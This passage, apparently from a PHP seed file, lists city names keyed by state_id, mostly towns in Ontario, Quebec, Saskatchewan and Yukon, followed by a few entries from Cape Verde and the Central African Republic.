'name' => 'caledonia'],\n ['state_id' => '671', 'name' => 'cambridge'],\n ['state_id' => '671', 'name' => 'campbellford'],\n ['state_id' => '671', 'name' => 'campbellville'],\n ['state_id' => '671', 'name' => 'cannington'],\n ['state_id' => '671', 'name' => 'capreol'],\n ['state_id' => '671', 'name' => 'cardinal'],\n ['state_id' => '671', 'name' => 'carleton place'],\n ['state_id' => '671', 'name' => 'carlisle'],\n ['state_id' => '671', 'name' => 'casselman'],\n ['state_id' => '671', 'name' => 'cayuga'],\n ['state_id' => '671', 'name' => 'chalk river'],\n ['state_id' => '671', 'name' => 'chapleau'],\n ['state_id' => '671', 'name' => 'chatham'],\n ['state_id' => '671', 'name' => 'chesley'],\n ['state_id' => '671', 'name' => 'chesterville'],\n ['state_id' => '671', 'name' => 'clinton'],\n ['state_id' => '671', 'name' => 'cobourg'],\n ['state_id' => '671', 'name' => 'cochrane'],\n ['state_id' => '671', 'name' => 'colborne'],\n ['state_id' => '671', 'name' => 'colchester'],\n ['state_id' => '671', 'name' => 'collingwood'],\n ['state_id' => '671', 'name' => 'concord'],\n ['state_id' => '671', 'name' => 'constance bay'],\n ['state_id' => '671', 'name' => 'cookstown'],\n ['state_id' => '671', 'name' => 'cornwall'],\n ['state_id' => '671', 'name' => 'creemore'],\n ['state_id' => '671', 'name' => 'crystal beach'],\n ['state_id' => '671', 'name' => 'deep river'],\n ['state_id' => '671', 'name' => 'delhi'],\n ['state_id' => '671', 'name' => 'deseronto'],\n ['state_id' => '671', 'name' => 'downsview'],\n ['state_id' => '671', 'name' => 'drayton'],\n ['state_id' => '671', 'name' => 'dresden'],\n ['state_id' => '671', 'name' => 'dryden'],\n ['state_id' => '671', 'name' => 'dundalk'],\n ['state_id' => '671', 'name' => 'dunnville'],\n ['state_id' => '671', 'name' => 'durham'],\n ['state_id' => '671', 'name' => 'dutton'],\n ['state_id' => '671', 'name' => 'eganville'],\n ['state_id' => '671', 'name' => 'elliot lake'],\n ['state_id' => '671', 'name' => 'elmira'],\n ['state_id' => '671', 'name' => 'elmvale'],\n ['state_id' => '671', 'name' => 'embrun'],\n ['state_id' => '671', 'name' => 'englehart'],\n ['state_id' => '671', 'name' => 'erin'],\n ['state_id' => '671', 'name' => 'espanola'],\n ['state_id' => '671', 'name' => 'essex'],\n ['state_id' => '671', 'name' => 'etobicoke'],\n ['state_id' => '671', 'name' => 'everett'],\n ['state_id' => '671', 'name' => 'exeter'],\n ['state_id' => '671', 'name' => 'fenelon falls'],\n ['state_id' => '671', 'name' => 'fergus'],\n ['state_id' => '671', 'name' => 'forest'],\n ['state_id' => '671', 'name' => 'fort erie'],\n ['state_id' => '671', 'name' => 'fort frances'],\n ['state_id' => '671', 'name' => 'frankford'],\n ['state_id' => '671', 'name' => 'gananoque'],\n ['state_id' => '671', 'name' => 'georgetown'],\n ['state_id' => '671', 'name' => 'georgina'],\n ['state_id' => '671', 'name' => 'geraldton'],\n ['state_id' => '671', 'name' => 'glencoe'],\n ['state_id' => '671', 'name' => 'goderich'],\n ['state_id' => '671', 'name' => 'golden'],\n ['state_id' => '671', 'name' => 'gormley'],\n ['state_id' => '671', 'name' => 'grand bend'],\n ['state_id' => '671', 'name' => 'grand valley'],\n ['state_id' => '671', 'name' => 'gravenhurst'],\n ['state_id' => '671', 'name' => 'guelph'],\n ['state_id' => '671', 'name' => 'hagersville'],\n ['state_id' => '671', 'name' => 'haileybury'],\n ['state_id' => '671', 'name' => 'hamilton'],\n ['state_id' => '671', 'name' => 'hanover'],\n ['state_id' => '671', 'name' => 'harriston'],\n ['state_id' => '671', 'name' => 'harrow'],\n ['state_id' => '671', 'name' => 'hastings'],\n ['state_id' => '671', 'name' => 'havelock'],\n ['state_id' => '671', 'name' => 'hawkesbury'],\n ['state_id' => '671', 'name' => 'hearst'],\n ['state_id' => '671', 'name' => 'hensall'],\n ['state_id' => '671', 'name' => 'hillsburgh'],\n ['state_id' => '671', 'name' => 'hornepayne'],\n ['state_id' => '671', 'name' => 'huntsville'],\n ['state_id' => '671', 'name' => 'ingersoll'],\n ['state_id' => '671', 'name' => 'innisfil'],\n ['state_id' => '671', 'name' => 'iroquois'],\n ['state_id' => '671', 'name' => 'iroquois falls'],\n ['state_id' => '671', 'name' => 'jarvis'],\n ['state_id' => '671', 'name' => 'kanata'],\n ['state_id' => '671', 'name' => 'kapuskasing'],\n ['state_id' => '671', 'name' => 'kars'],\n ['state_id' => '671', 'name' => 'kemptville'],\n ['state_id' => '671', 'name' => 'kenora'],\n ['state_id' => '671', 'name' => 'kincardine'],\n ['state_id' => '671', 'name' => 'kingston'],\n ['state_id' => '671', 'name' => 'kirkland lake'],\n ['state_id' => '671', 'name' => 'kitchener'],\n ['state_id' => '671', 'name' => 'l\\'original'],\n ['state_id' => '671', 'name' => 'lakefield'],\n ['state_id' => '671', 'name' => 'lanark'],\n ['state_id' => '671', 'name' => 'leamington'],\n ['state_id' => '671', 'name' => 'lindsay'],\n ['state_id' => '671', 'name' => 'listowel'],\n ['state_id' => '671', 'name' => 'little current'],\n ['state_id' => '671', 'name' => 'lively'],\n ['state_id' => '671', 'name' => 'london'],\n ['state_id' => '671', 'name' => 'longlac'],\n ['state_id' => '671', 'name' => 'lucan'],\n ['state_id' => '671', 'name' => 'lucknow'],\n ['state_id' => '671', 'name' => 'madoc'],\n ['state_id' => '671', 'name' => 'manitouwadge'],\n ['state_id' => '671', 'name' => 'maple'],\n ['state_id' => '671', 'name' => 'marathon'],\n ['state_id' => '671', 'name' => 'markdale'],\n ['state_id' => '671', 'name' => 'markham'],\n ['state_id' => '671', 'name' => 'marmora'],\n ['state_id' => '671', 'name' => 'mattawa'],\n ['state_id' => '671', 'name' => 'meaford'],\n ['state_id' => '671', 'name' => 'metcalfe'],\n ['state_id' => '671', 'name' => 'midland'],\n ['state_id' => '671', 'name' => 'mildmay'],\n ['state_id' => '671', 'name' => 'millbrook'],\n ['state_id' => '671', 'name' => 'milton'],\n ['state_id' => '671', 'name' => 'milverton'],\n ['state_id' => '671', 'name' => 'mississauga'],\n ['state_id' => '671', 'name' => 'mississauga beach'],\n ['state_id' => '671', 'name' => 'mitchell'],\n ['state_id' => '671', 'name' => 'moose factory'],\n ['state_id' => '671', 'name' => 'morrisburg'],\n ['state_id' => '671', 'name' => 'mount albert'],\n ['state_id' => '671', 'name' => 'mount brydges'],\n ['state_id' => '671', 'name' => 'mount forest'],\n ['state_id' => '671', 'name' => 'munster'],\n ['state_id' => '671', 'name' => 'nanticoke'],\n ['state_id' => '671', 'name' => 'napanee'],\n ['state_id' => '671', 'name' => 'nepean'],\n ['state_id' => '671', 'name' => 'new hamburg'],\n ['state_id' => '671', 'name' => 'newmarket'],\n ['state_id' => '671', 'name' => 'newtonville'],\n ['state_id' => '671', 'name' => 'nobleton'],\n ['state_id' => '671', 'name' => 'north bay'],\n ['state_id' => '671', 'name' => 'north gower'],\n ['state_id' => '671', 'name' => 'north york'],\n ['state_id' => '671', 'name' => 'norwich'],\n ['state_id' => '671', 'name' => 'norwood'],\n ['state_id' => '671', 'name' => 'oakville'],\n ['state_id' => '671', 'name' => 'omemee'],\n ['state_id' => '671', 'name' => 'onaping-levack'],\n ['state_id' => '671', 'name' => 'ontario'],\n ['state_id' => '671', 'name' => 'orangeville'],\n ['state_id' => '671', 'name' => 'orillia'],\n ['state_id' => '671', 'name' => 'orono'],\n ['state_id' => '671', 'name' => 'osgoode'],\n ['state_id' => '671', 'name' => 'oshawa'],\n ['state_id' => '671', 'name' => 'ottawa'],\n ['state_id' => '671', 'name' => 'owen sound'],\n ['state_id' => '671', 'name' => 'paisley'],\n ['state_id' => '671', 'name' => 'palmerston'],\n ['state_id' => '671', 'name' => 'paris'],\n ['state_id' => '671', 'name' => 'parkhill'],\n ['state_id' => '671', 'name' => 'parry sound'],\n ['state_id' => '671', 'name' => 'pembroke'],\n ['state_id' => '671', 'name' => 'perth'],\n ['state_id' => '671', 'name' => 'petawawa'],\n ['state_id' => '671', 'name' => 'peterborough'],\n ['state_id' => '671', 'name' => 'petrolia'],\n ['state_id' => '671', 'name' => 'pickering'],\n ['state_id' => '671', 'name' => 'picton'],\n ['state_id' => '671', 'name' => 'porcupine'],\n ['state_id' => '671', 'name' => 'port credit'],\n ['state_id' => '671', 'name' => 'port dover'],\n ['state_id' => '671', 'name' => 'port elgin'],\n ['state_id' => '671', 'name' => 'port hope'],\n ['state_id' => '671', 'name' => 'port perry'],\n ['state_id' => '671', 'name' => 'port stanley'],\n ['state_id' => '671', 'name' => 'powassan'],\n ['state_id' => '671', 'name' => 'prescott'],\n ['state_id' => '671', 'name' => 'queensville'],\n ['state_id' => '671', 'name' => 'renfrew'],\n ['state_id' => '671', 'name' => 'richmond'],\n ['state_id' => '671', 'name' => 'richmond hill'],\n ['state_id' => '671', 'name' => 'ridgetown'],\n ['state_id' => '671', 'name' => 'rockland'],\n ['state_id' => '671', 'name' => 'rockwood'],\n ['state_id' => '671', 'name' => 'rodney'],\n ['state_id' => '671', 'name' => 'saint catharines'],\n ['state_id' => '671', 'name' => 'saint catharines-niagara'],\n ['state_id' => '671', 'name' => 'saint george'],\n ['state_id' => '671', 'name' => 'saint jacobs'],\n ['state_id' => '671', 'name' => 'saint marys'],\n ['state_id' => '671', 'name' => 'saint thomas'],\n ['state_id' => '671', 'name' => 'sarnia'],\n ['state_id' => '671', 'name' => 'sault sainte marie'],\n ['state_id' => '671', 'name' => 'scarborough'],\n ['state_id' => '671', 'name' => 'schomberg'],\n ['state_id' => '671', 'name' => 'seaforth'],\n ['state_id' => '671', 'name' => 'shelburne'],\n ['state_id' => '671', 'name' => 'simcoe'],\n ['state_id' => '671', 'name' => 'sioux lookout'],\n ['state_id' => '671', 'name' => 'smiths falls'],\n ['state_id' => '671', 'name' => 'smithville'],\n ['state_id' => '671', 'name' => 'south river'],\n ['state_id' => '671', 'name' => 'southampton'],\n ['state_id' => '671', 'name' => 'stayner'],\n ['state_id' => '671', 'name' => 'stirling'],\n ['state_id' => '671', 'name' => 'stoney creek'],\n ['state_id' => '671', 'name' => 'stoney point'],\n ['state_id' => '671', 'name' => 'stouffville'],\n ['state_id' => '671', 'name' => 'stratford'],\n ['state_id' => '671', 'name' => 'strathroy'],\n ['state_id' => '671', 'name' => 'sturgeon falls'],\n ['state_id' => '671', 'name' => 'sudbury'],\n ['state_id' => '671', 'name' => 'sutton'],\n ['state_id' => '671', 'name' => 'tavistock'],\n ['state_id' => '671', 'name' => 'teeswater'],\n ['state_id' => '671', 'name' => 'terrace bay'],\n ['state_id' => '671', 'name' => 'thamesford'],\n ['state_id' => '671', 'name' => 'thessalon'],\n ['state_id' => '671', 'name' => 'thornbury'],\n ['state_id' => '671', 'name' => 'thornhill'],\n ['state_id' => '671', 'name' => 'thunder bay'],\n ['state_id' => '671', 'name' => 'tilbury'],\n ['state_id' => '671', 'name' => 'tilsonburg'],\n ['state_id' => '671', 'name' => 'timmins'],\n ['state_id' => '671', 'name' => 'toronto'],\n ['state_id' => '671', 'name' => 'tory hill'],\n ['state_id' => '671', 'name' => 'tottenham'],\n ['state_id' => '671', 'name' => 'tweed'],\n ['state_id' => '671', 'name' => 'uxbridge'],\n ['state_id' => '671', 'name' => 'valley east'],\n ['state_id' => '671', 'name' => 'vankleek hill'],\n ['state_id' => '671', 'name' => 'vaughan'],\n ['state_id' => '671', 'name' => 'vineland'],\n ['state_id' => '671', 'name' => 'walkerton'],\n ['state_id' => '671', 'name' => 'wallaceburg'],\n ['state_id' => '671', 'name' => 'wasaga beach'],\n ['state_id' => '671', 'name' => 'waterdown'],\n ['state_id' => '671', 'name' => 'waterford'],\n ['state_id' => '671', 'name' => 'waterloo'],\n ['state_id' => '671', 'name' => 'watford'],\n ['state_id' => '671', 'name' => 'wawa'],\n ['state_id' => '671', 'name' => 'welland'],\n ['state_id' => '671', 'name' => 'wellesley'],\n ['state_id' => '671', 'name' => 'wellington'],\n ['state_id' => '671', 'name' => 'west lorne'],\n ['state_id' => '671', 'name' => 'wheatley'],\n ['state_id' => '671', 'name' => 'whitby'],\n ['state_id' => '671', 'name' => 'whitchurch-stouffville'],\n ['state_id' => '671', 'name' => 'wiarton'],\n ['state_id' => '671', 'name' => 'wikwemikong'],\n ['state_id' => '671', 'name' => 'willowdale'],\n ['state_id' => '671', 'name' => 'winchester'],\n ['state_id' => '671', 'name' => 'windsor'],\n ['state_id' => '671', 'name' => 'wingham'],\n ['state_id' => '671', 'name' => 'woodbridge'],\n ['state_id' => '671', 'name' => 'woodstock'],\n ['state_id' => '671', 'name' => 'wyoming'],\n ['state_id' => '673', 'name' => 'acton vale'],\n ['state_id' => '673', 'name' => 'albanel'],\n ['state_id' => '673', 'name' => 'alencon'],\n ['state_id' => '673', 'name' => 'alma'],\n ['state_id' => '673', 'name' => 'amos'],\n ['state_id' => '673', 'name' => 'amqui'],\n ['state_id' => '673', 'name' => 'anjou'],\n ['state_id' => '673', 'name' => 'asbestos'],\n ['state_id' => '673', 'name' => 'bagotville'],\n ['state_id' => '673', 'name' => 'baie-comeau'],\n ['state_id' => '673', 'name' => 'baie-saint-paul'],\n ['state_id' => '673', 'name' => 'barraute'],\n ['state_id' => '673', 'name' => 'beauceville'],\n ['state_id' => '673', 'name' => 'beaupre'],\n ['state_id' => '673', 'name' => 'bedford'],\n ['state_id' => '673', 'name' => 'beloeil'],\n ['state_id' => '673', 'name' => 'bernierville'],\n ['state_id' => '673', 'name' => 'berthierville'],\n ['state_id' => '673', 'name' => 'betsiamites'],\n ['state_id' => '673', 'name' => 'boisbriand'],\n ['state_id' => '673', 'name' => 'bonaventure'],\n ['state_id' => '673', 'name' => 'boucherville'],\n ['state_id' => '673', 'name' => 'bromont'],\n ['state_id' => '673', 'name' => 'brossard'],\n ['state_id' => '673', 'name' => 'brownsburg'],\n ['state_id' => '673', 'name' => 'buckingham'],\n ['state_id' => '673', 'name' => 'cabano'],\n ['state_id' => '673', 'name' => 'candiac'],\n ['state_id' => '673', 'name' => 'cap-chat'],\n ['state_id' => '673', 'name' => 'cap-aux-meules'],\n ['state_id' => '673', 'name' => 'carleton'],\n ['state_id' => '673', 'name' => 'causapscal'],\n ['state_id' => '673', 'name' => 'chandler'],\n ['state_id' => '673', 'name' => 'chapais'],\n ['state_id' => '673', 'name' => 'charlesbourg'],\n ['state_id' => '673', 'name' => 'chateau-richer'],\n ['state_id' => '673', 'name' => 'chibougamou'],\n ['state_id' => '673', 'name' => 'chicoutimi-jonquiere'],\n ['state_id' => '673', 'name' => 'chisasibi'],\n ['state_id' => '673', 'name' => 'chute-aux-outardes'],\n ['state_id' => '673', 'name' => 'clermont'],\n ['state_id' => '673', 'name' => 'coaticook'],\n ['state_id' => '673', 'name' => 'coleraine'],\n ['state_id' => '673', 'name' => 'contrecoeur'],\n ['state_id' => '673', 'name' => 'cookshire'],\n ['state_id' => '673', 'name' => 'cowansville'],\n ['state_id' => '673', 'name' => 'crabtree'],\n ['state_id' => '673', 'name' => 'danville'],\n ['state_id' => '673', 'name' => 'daveluyville'],\n ['state_id' => '673', 'name' => 'degelis'],\n ['state_id' => '673', 'name' => 'desbiens'],\n ['state_id' => '673', 'name' => 'disraeli'],\n ['state_id' => '673', 'name' => 'dolbeau'],\n ['state_id' => '673', 'name' => 'donnacona'],\n ['state_id' => '673', 'name' => 'dorval'],\n ['state_id' => '673', 'name' => 'drummondville'],\n ['state_id' => '673', 'name' => 'east angus'],\n ['state_id' => '673', 'name' => 'east broughton'],\n ['state_id' => '673', 'name' => 'farnham'],\n ['state_id' => '673', 'name' => 'ferme-neuve'],\n ['state_id' => '673', 'name' => 'fermont'],\n ['state_id' => '673', 'name' => 'filion'],\n ['state_id' => '673', 'name' => 'forestville'],\n ['state_id' => '673', 'name' => 'fort-coulonge'],\n ['state_id' => '673', 'name' => 'gaspe'],\n ['state_id' => '673', 'name' => 'gentilly'],\n ['state_id' => '673', 'name' => 'granby'],\n ['state_id' => '673', 'name' => 'grande-riviere'],\n ['state_id' => '673', 'name' => 'grenville'],\n ['state_id' => '673', 'name' => 'ham nord'],\n ['state_id' => '673', 'name' => 'hampstead'],\n ['state_id' => '673', 'name' => 'hauterive'],\n ['state_id' => '673', 'name' => 'havre-saint-pierre'],\n ['state_id' => '673', 'name' => 'hebertville'],\n ['state_id' => '673', 'name' => 'huntingdon'],\n ['state_id' => '673', 'name' => 'joliette'],\n ['state_id' => '673', 'name' => 'kingsey falls'],\n ['state_id' => '673', 'name' => 'l\\'annonciation'],\n ['state_id' => '673', 'name' => 'l\\'ascension-de-notre-seigneur'],\n ['state_id' => '673', 'name' => 'l\\'epiphanie'],\n ['state_id' => '673', 'name' => 'la malbaie'],\n ['state_id' => '673', 'name' => 'la pocatiere'],\n ['state_id' => '673', 'name' => 'la sarre'],\n ['state_id' => '673', 'name' => 'la tuque'],\n ['state_id' => '673', 'name' => 'labelle'],\n ['state_id' => '673', 'name' => 'lac-etchemin'],\n ['state_id' => '673', 'name' => 'lac-lapierre'],\n ['state_id' => '673', 'name' => 'lac-megantic'],\n ['state_id' => '673', 'name' => 'lac-au-saumon'],\n ['state_id' => '673', 'name' => 'lachine'],\n ['state_id' => '673', 'name' => 'lachute'],\n ['state_id' => '673', 'name' => 'lacolle'],\n ['state_id' => '673', 'name' => 'lasalle'],\n ['state_id' => '673', 'name' => 'laurentides'],\n ['state_id' => '673', 'name' => 'laurier-station'],\n ['state_id' => '673', 'name' => 'laval'],\n ['state_id' => '673', 'name' => 'lavaltrie'],\n ['state_id' => '673', 'name' => 'le bic'],\n ['state_id' => '673', 'name' => 'lebel-sur-quevillon'],\n ['state_id' => '673', 'name' => 'les cedres'],\n ['state_id' => '673', 'name' => 'les coteaux'],\n ['state_id' => '673', 'name' => 'les escoumins'],\n ['state_id' => '673', 'name' => 'liniere'],\n ['state_id' => '673', 'name' => 'longueuil'],\n ['state_id' => '673', 'name' => 'louiseville'],\n ['state_id' => '673', 'name' => 'luceville'],\n ['state_id' => '673', 'name' => 'macamic'],\n ['state_id' => '673', 'name' => 'magog'],\n ['state_id' => '673', 'name' => 'malartic'],\n ['state_id' => '673', 'name' => 'maniwaki'],\n ['state_id' => '673', 'name' => 'marieville'],\n ['state_id' => '673', 'name' => 'maskinonge'],\n ['state_id' => '673', 'name' => 'matagami'],\n ['state_id' => '673', 'name' => 'matane'],\n ['state_id' => '673', 'name' => 'metabetchouan'],\n ['state_id' => '673', 'name' => 'mirabel'],\n ['state_id' => '673', 'name' => 'mistissini'],\n ['state_id' => '673', 'name' => 'mont-joli'],\n ['state_id' => '673', 'name' => 'mont-laurier'],\n ['state_id' => '673', 'name' => 'montmagny'],\n ['state_id' => '673', 'name' => 'montreal'],\n ['state_id' => '673', 'name' => 'murdochville'],\n ['state_id' => '673', 'name' => 'napierville'],\n ['state_id' => '673', 'name' => 'new richmond'],\n ['state_id' => '673', 'name' => 'nicolet'],\n ['state_id' => '673', 'name' => 'normandin'],\n ['state_id' => '673', 'name' => 'notre-dame-du-bon-conseil'],\n ['state_id' => '673', 'name' => 'notre-dame-du-lac'],\n ['state_id' => '673', 'name' => 'notre-dame-du-mont-carmel'],\n ['state_id' => '673', 'name' => 'oka-kanesatake'],\n ['state_id' => '673', 'name' => 'ormstown'],\n ['state_id' => '673', 'name' => 'papineauville'],\n ['state_id' => '673', 'name' => 'pierreville'],\n ['state_id' => '673', 'name' => 'plessisville'],\n ['state_id' => '673', 'name' => 'pointe-claire'],\n ['state_id' => '673', 'name' => 'pont-rouge'],\n ['state_id' => '673', 'name' => 'port-alfred-bagotville'],\n ['state_id' => '673', 'name' => 'port-cartier'],\n ['state_id' => '673', 'name' => 'portneuf'],\n ['state_id' => '673', 'name' => 'price'],\n ['state_id' => '673', 'name' => 'princeville'],\n ['state_id' => '673', 'name' => 'quebec'],\n ['state_id' => '673', 'name' => 'rawdon'],\n ['state_id' => '673', 'name' => 'repentigny'],\n ['state_id' => '673', 'name' => 'richmond'],\n ['state_id' => '673', 'name' => 'rigaud'],\n ['state_id' => '673', 'name' => 'rimouski'],\n ['state_id' => '673', 'name' => 'riviere-au-renard'],\n ['state_id' => '673', 'name' => 'riviere-du-loup'],\n ['state_id' => '673', 'name' => 'roberval'],\n ['state_id' => '673', 'name' => 'rougemont'],\n ['state_id' => '673', 'name' => 'rouyn-noranda'],\n ['state_id' => '673', 'name' => 'saint-agapit'],\n ['state_id' => '673', 'name' => 'saint-alexandre'],\n ['state_id' => '673', 'name' => 'saint-alexis-des-monts'],\n ['state_id' => '673', 'name' => 'saint-ambroise'],\n ['state_id' => '673', 'name' => 'saint-andre-avellin'],\n ['state_id' => '673', 'name' => 'saint-anselme'],\n ['state_id' => '673', 'name' => 'saint-apollinaire'],\n ['state_id' => '673', 'name' => 'saint-augustin'],\n ['state_id' => '673', 'name' => 'saint-basile-sud'],\n ['state_id' => '673', 'name' => 'saint-bruno'],\n ['state_id' => '673', 'name' => 'saint-canut'],\n ['state_id' => '673', 'name' => 'saint-cesaire'],\n ['state_id' => '673', 'name' => 'saint-cyrill-de-wendover'],\n ['state_id' => '673', 'name' => 'saint-damase'],\n ['state_id' => '673', 'name' => 'saint-damien-de-buckland'],\n ['state_id' => '673', 'name' => 'saint-denis'],\n ['state_id' => '673', 'name' => 'saint-donat-de-montcalm'],\n ['state_id' => '673', 'name' => 'saint-ephrem-de-tring'],\n ['state_id' => '673', 'name' => 'saint-fabien'],\n ['state_id' => '673', 'name' => 'saint-felicien'],\n ['state_id' => '673', 'name' => 'saint-felix-de-valois'],\n ['state_id' => '673', 'name' => 'saint-gabriel'],\n ['state_id' => '673', 'name' => 'saint-gedeon'],\n ['state_id' => '673', 'name' => 'saint-georges'],\n ['state_id' => '673', 'name' => 'saint-germain-de-grantham'],\n ['state_id' => '673', 'name' => 'saint-gregoire'],\n ['state_id' => '673', 'name' => 'saint-henri-de-levis'],\n ['state_id' => '673', 'name' => 'saint-honore'],\n ['state_id' => '673', 'name' => 'saint-hyacinthe'],\n ['state_id' => '673', 'name' => 'saint-jacques'],\n ['state_id' => '673', 'name' => 'saint-jean-port-joli'],\n ['state_id' => '673', 'name' => 'saint-jean-de-dieu'],\n ['state_id' => '673', 'name' => 'saint-jean-sur-richelieu'],\n ['state_id' => '673', 'name' => 'saint-jerome'],\n ['state_id' => '673', 'name' => 'saint-josephe-de-beauce'],\n ['state_id' => '673', 'name' => 'saint-josephe-de-lanoraie'],\n ['state_id' => '673', 'name' => 'saint-josephe-de-la-riviere-bl'],\n ['state_id' => '673', 'name' => 'saint-jovite'],\n ['state_id' => '673', 'name' => 'saint-laurent'],\n ['state_id' => '673', 'name' => 'saint-liboire'],\n ['state_id' => '673', 'name' => 'saint-marc-des-carrieres'],\n ['state_id' => '673', 'name' => 'saint-martin'],\n ['state_id' => '673', 'name' => 'saint-michel-des-saints'],\n ['state_id' => '673', 'name' => 'saint-pacome'],\n ['state_id' => '673', 'name' => 'saint-pascal'],\n ['state_id' => '673', 'name' => 'saint-pie'],\n ['state_id' => '673', 'name' => 'saint-prosper'],\n ['state_id' => '673', 'name' => 'saint-raphael'],\n ['state_id' => '673', 'name' => 'saint-raymond'],\n ['state_id' => '673', 'name' => 'saint-remi'],\n ['state_id' => '673', 'name' => 'saint-roch-de-l\\'achigan'],\n ['state_id' => '673', 'name' => 'saint-sauveur-des-monts'],\n ['state_id' => '673', 'name' => 'saint-tite'],\n ['state_id' => '673', 'name' => 'sainte-adele'],\n ['state_id' => '673', 'name' => 'sainte-agathe-des-monts'],\n ['state_id' => '673', 'name' => 'sainte-anne-des-monts'],\n ['state_id' => '673', 'name' => 'sainte-anne-des-plaines'],\n ['state_id' => '673', 'name' => 'sainte-catherine'],\n ['state_id' => '673', 'name' => 'sainte-claire'],\n ['state_id' => '673', 'name' => 'sainte-julienne'],\n ['state_id' => '673', 'name' => 'sainte-justine'],\n ['state_id' => '673', 'name' => 'sainte-madeleine'],\n ['state_id' => '673', 'name' => 'sainte-marie'],\n ['state_id' => '673', 'name' => 'sainte-martine'],\n ['state_id' => '673', 'name' => 'sainte-sophie'],\n ['state_id' => '673', 'name' => 'sainte-thecle'],\n ['state_id' => '673', 'name' => 'sainte-therese'],\n ['state_id' => '673', 'name' => 'salaberry-de-valleyfield'],\n ['state_id' => '673', 'name' => 'sayabec'],\n ['state_id' => '673', 'name' => 'senneterre'],\n ['state_id' => '673', 'name' => 'sept-iles'],\n ['state_id' => '673', 'name' => 'shawinigan'],\n ['state_id' => '673', 'name' => 'shawville'],\n ['state_id' => '673', 'name' => 'sherbrooke'],\n ['state_id' => '673', 'name' => 'sorel'],\n ['state_id' => '673', 'name' => 'st faustin'],\n ['state_id' => '673', 'name' => 'st. hubert'],\n ['state_id' => '673', 'name' => 'st. jean chrysostome'],\n ['state_id' => '673', 'name' => 'temiscaming'],\n ['state_id' => '673', 'name' => 'terrebonne'],\n ['state_id' => '673', 'name' => 'thetford mines'],\n ['state_id' => '673', 'name' => 'thurso'],\n ['state_id' => '673', 'name' => 'trois-pistoles'],\n ['state_id' => '673', 'name' => 'trois-rivieres'],\n ['state_id' => '673', 'name' => 'val-david'],\n ['state_id' => '673', 'name' => 'val-d\\'or'],\n ['state_id' => '673', 'name' => 'valcourt'],\n ['state_id' => '673', 'name' => 'vallee-jonction'],\n ['state_id' => '673', 'name' => 'vaudreuil'],\n ['state_id' => '673', 'name' => 'vercheres'],\n ['state_id' => '673', 'name' => 'victoriaville'],\n ['state_id' => '673', 'name' => 'ville-marie'],\n ['state_id' => '673', 'name' => 'warwick'],\n ['state_id' => '673', 'name' => 'waterloo'],\n ['state_id' => '673', 'name' => 'weedon centre'],\n ['state_id' => '673', 'name' => 'westmount'],\n ['state_id' => '673', 'name' => 'wickham'],\n ['state_id' => '673', 'name' => 'windsor'],\n ['state_id' => '673', 'name' => 'yamachiche'],\n ['state_id' => '674', 'name' => 'assiniboia'],\n ['state_id' => '674', 'name' => 'biggar'],\n ['state_id' => '674', 'name' => 'canora'],\n ['state_id' => '674', 'name' => 'carlyle'],\n ['state_id' => '674', 'name' => 'carnduff'],\n ['state_id' => '674', 'name' => 'caronport'],\n ['state_id' => '674', 'name' => 'carrot'],\n ['state_id' => '674', 'name' => 'dalmeny'],\n ['state_id' => '674', 'name' => 'davidson'],\n ['state_id' => '674', 'name' => 'esterhazy'],\n ['state_id' => '674', 'name' => 'estevan'],\n ['state_id' => '674', 'name' => 'eston'],\n ['state_id' => '674', 'name' => 'foam lake'],\n ['state_id' => '674', 'name' => 'fort qu\\'appelle'],\n ['state_id' => '674', 'name' => 'gravelbourg'],\n ['state_id' => '674', 'name' => 'grenfell'],\n ['state_id' => '674', 'name' => 'gull lake'],\n ['state_id' => '674', 'name' => 'hudson bay'],\n ['state_id' => '674', 'name' => 'humboldt'],\n ['state_id' => '674', 'name' => 'indian head'],\n ['state_id' => '674', 'name' => 'kamsack'],\n ['state_id' => '674', 'name' => 'kelvington'],\n ['state_id' => '674', 'name' => 'kerrobert'],\n ['state_id' => '674', 'name' => 'kindersley'],\n ['state_id' => '674', 'name' => 'kipling'],\n ['state_id' => '674', 'name' => 'la ronge'],\n ['state_id' => '674', 'name' => 'langenburg'],\n ['state_id' => '674', 'name' => 'langham'],\n ['state_id' => '674', 'name' => 'lanigan'],\n ['state_id' => '674', 'name' => 'lloydminster'],\n ['state_id' => '674', 'name' => 'lumsden'],\n ['state_id' => '674', 'name' => 'macklin'],\n ['state_id' => '674', 'name' => 'maple creek'],\n ['state_id' => '674', 'name' => 'martensville'],\n ['state_id' => '674', 'name' => 'meadow lake'],\n ['state_id' => '674', 'name' => 'melfort'],\n ['state_id' => '674', 'name' => 'melville'],\n ['state_id' => '674', 'name' => 'moose jaw'],\n ['state_id' => '674', 'name' => 'moosomin'],\n ['state_id' => '674', 'name' => 'nipawin'],\n ['state_id' => '674', 'name' => 'north battleford'],\n ['state_id' => '674', 'name' => 'outlook'],\n ['state_id' => '674', 'name' => 'oxbow'],\n ['state_id' => '674', 'name' => 'pilot butte'],\n ['state_id' => '674', 'name' => 'preeceville'],\n ['state_id' => '674', 'name' => 'prince albert'],\n ['state_id' => '674', 'name' => 'regina'],\n ['state_id' => '674', 'name' => 'rosetown'],\n ['state_id' => '674', 'name' => 'rosthem'],\n ['state_id' => '674', 'name' => 'saskatoon'],\n ['state_id' => '674', 'name' => 'shaunavon'],\n ['state_id' => '674', 'name' => 'shellbrook'],\n ['state_id' => '674', 'name' => 'swift current'],\n ['state_id' => '674', 'name' => 'tisdale'],\n ['state_id' => '674', 'name' => 'unity'],\n ['state_id' => '674', 'name' => 'wadena'],\n ['state_id' => '674', 'name' => 'warman'],\n ['state_id' => '674', 'name' => 'watrous'],\n ['state_id' => '674', 'name' => 'weyburn'],\n ['state_id' => '674', 'name' => 'white city'],\n ['state_id' => '674', 'name' => 'wilkie'],\n ['state_id' => '674', 'name' => 'wynyard'],\n ['state_id' => '674', 'name' => 'yorkton'],\n ['state_id' => '675', 'name' => 'haines junction'],\n ['state_id' => '675', 'name' => 'mayo'],\n ['state_id' => '675', 'name' => 'whitehorse'],\n ['state_id' => '676', 'name' => 'sal rei'],\n ['state_id' => '677', 'name' => 'nova sintra'],\n ['state_id' => '678', 'name' => 'mosteiros'],\n ['state_id' => '678', 'name' => 'sao filipe'],\n ['state_id' => '679', 'name' => 'vila do maio'],\n ['state_id' => '680', 'name' => 'santa maria'],\n ['state_id' => '686', 'name' => 'ndele'],\n ['state_id' => '687', 'name' => 'bangui'],\n ['state_id' => '688', 'name' => 'alindao'],\n ['state_id' => '688', 'name' => 'kembe'],\n ['state_id' => '688', 'name' => 'mobaye'],\n ['state_id' => '689', 'name' => 'obo'],\n ['state_id' => '689', 'name' => 'zemio'],\n ['state_id' => 